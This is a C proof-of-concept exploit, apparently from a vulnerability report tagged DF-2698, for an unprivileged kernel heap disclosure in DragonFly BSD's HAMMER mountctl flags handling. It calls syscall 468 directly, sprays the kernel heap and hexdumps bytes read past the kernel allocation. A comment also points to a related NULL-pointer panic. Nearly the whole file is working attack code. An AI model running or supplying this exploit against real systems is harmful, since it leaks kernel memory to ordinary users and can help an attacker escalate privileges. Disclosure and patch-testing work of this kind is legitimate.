DF-2698 / mountctl_leak.c
/* DF-2698 PoC -- hammer(1) MOUNTCTL_MOUNTFLAGS result-length double-count * hammer_vnops.c:2571-2580: *ap->a_res += usedbytes (usedbytes already * contains *ap->a_res) -> result = 2*U + R instead of U + R. * Sink: sys_mountctl() vfs_syscalls.c:1334-1335 * copyout(buf, uap->buf, sysmsg_result) -- buf is kmalloc(buflen+1). * With buflen = U+1 the kernel copies out 2*U bytes => reads past the * kernel allocation => unprivileged kernel heap disclosure. * * MOUNTCTL_MOUNTFLAGS is explicitly UNPRIVILEGED (vfs_syscalls.c:1281). * Runs as an ordinary user on the root of a mounted hammer(1) fs. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> long dfly_mountctl(const char *, long, long, void *, long, void *, long); /* syscall 468 = mountctl(path, op, fd, ctl, ctllen, buf, buflen) */ long dfly_mountctl(const char *path, long op, long fd, void *ctl, long ctllen, void *buf, long buflen) { return (syscall(468, path, op, fd, ctl, ctllen, buf, buflen)); } static void hexdump(const unsigned char *p, int n) { int i; for (i = 0; i < n; i++) { if (i % 16 == 0) printf(" %04x:", i); printf(" %02x", p[i]); if (i % 16 == 15) printf("\n"); } if (n % 16) printf("\n"); } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/hmnt"; unsigned char out[1024]; unsigned char spray[256]; long ret; int U, i; /* pass 1: learn the flag-string length U; kernel claims 2*U bytes */ memset(out, 0, sizeof(out)); errno = 0; ret = dfly_mountctl(path, 18, -1, NULL, 0, out, (long)sizeof(out) - 1); if (ret < 0) { fprintf(stderr, "pass1 mountctl failed: %s\n", strerror(errno)); return (1); } U = (int)strlen((char *)out); printf("pass1: kernel returned %ld bytes; string in buffer is %d " "bytes: \"%s\"\n", ret, U, out); if (ret != 2 * U) { printf("pass1: ret(%ld) != 2*U(%d); hammer hflags suffix " "present (R=%ld) -- double-count still present\n", ret, U, ret - 2 * U); } /* * Spray recognizable M_TEMP content (ctl buffers get kfree()d). * NOTE: buflen must be > 0 -- buflen==0 leaves buf==NULL and trips * the (already-known, DF-2667) strlen(NULL) panic in vfs_flagstostr. */ memset(spray, 'B', sizeof(spray)); for (i = 0; i < 32; i++) dfly_mountctl(path, 18, -1, spray, U + 1, spray, 1); /* pass 2: buflen = U+1 -> kernel allocates U+1 bytes, copies out 2U */ memset(out, 0, sizeof(out)); errno = 0; ret = dfly_mountctl(path, 18, -1, NULL, 0, out, U + 1); if (ret < 0) { fprintf(stderr, "pass2 mountctl failed: %s\n", strerror(errno)); return (1); } printf("pass2: buflen=%d (kernel kmalloc'd %d bytes incl NUL); " "kernel copied out %ld bytes\n", U + 1, U + 1, ret); printf("legitimate buffer content (U=%d + NUL):\n", U); hexdump(out, U + 1); printf("bytes [%d..%ld) are PAST the kernel allocation:\n", U + 1, ret); hexdump(out + U + 1, (int)(ret - (U + 1))); return (0); } |